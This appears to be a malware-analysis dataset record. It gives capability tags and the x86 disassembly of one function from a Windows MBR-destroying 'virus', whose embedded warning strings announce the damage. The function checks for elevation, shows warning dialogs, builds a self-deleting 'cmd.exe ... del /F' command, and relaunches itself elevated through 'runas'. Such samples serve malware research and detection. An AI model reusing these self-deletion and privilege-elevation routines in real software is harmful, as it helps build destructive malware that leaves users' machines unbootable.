Function at 0x401e30
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x480
mov eax, dword [0x407004]
xor eax, esp
mov dword [esp + 0x47c], eax
push esi
push edi
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401f62
lea eax, [esp + 0x24]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push 0x14
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
cmovne esi, dword [esp + 0x24]
call edi
test esi, esi
je 0x401f62
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x40034
push str.VlczqkM4I3.exe___Warning
push str.Warning___r_n_r_nYou_have_just_executed_a_virus__r_nThis_virus_will_destroy_the_MBR_on_your_computer__r_nrendering_it_unable_to_boot__r_n_r_nThe_developer_is_not_responsible_if_your_computer_is_damaged_r_nby_running_this_virus__r_n_r_nIf_you_suffer_from_photosensitive_epilepsy__press_No__r_nThis_is_the_first_warning__r_nPlease_user_this_virus_for_research_and_educational_purposes_only__r_n_r_nPress_Yes_to_continue._Are_you_sure_
push 0
call esi
cmp eax, 6
jne 0x401ed7
push 0x40034
push str.VlczqkM4I3.exe___LAST_Warning
push str.LAST_Warning___r_n_r_nYou_have_just_executed_a_virus__r_nThis_virus_will_destroy_the_MBR_on_your_computer__r_nrendering_it_unable_to_boot__r_n_r_nThe_developer_is_not_responsible_if_your_computer_is_damaged_r_nby_running_this_virus__r_n_r_nIf_you_suffer_from_photosensitive_epilepsy__press_No__r_nThis_is_the_LAST_warning__r_nPlease_user_this_virus_for_research_and_educational_purposes_only__r_n_r_nPress_Yes_to_continue._Are_you_REALLY_sure_
push 0
call esi
cmp eax, 6
je 0x402001
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea ecx, [esp + 0x74]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x70]
push eax
push str.cmd.exe__C_timeout__T_2__NOBREAK__del__F___ls_
lea eax, [esp + 0x280]
push 0x104
push eax
call fcn.00401df0
push 0x40
lea eax, [esp + 0x40]
mov dword [esp + 0x3c], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x298]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [esp + 0x10]
call edi
push dword [esp + 0x14]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401760
test eax, eax
je 0x401f86
call fcn.00401620
pop edi
pop esi
mov ecx, dword [esp + 0x47c]
xor ecx, esp
call fcn.004027af
mov esp, ebp
pop ebp
ret 0x10
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea ecx, [esp + 0x74]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x38
lea eax, [esp + 0x30]
mov dword [esp + 0x2c], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x34], str.runas
lea eax, [esp + 0x70]
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x44], 0
push eax
mov dword [esp + 0x40], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [esp + 0x484]
pop edi
pop esi
xor ecx, esp
call fcn.004027af
mov esp, ebp
pop ebp
ret 0x10
call fcn.00402010
call fcn.00402690
int3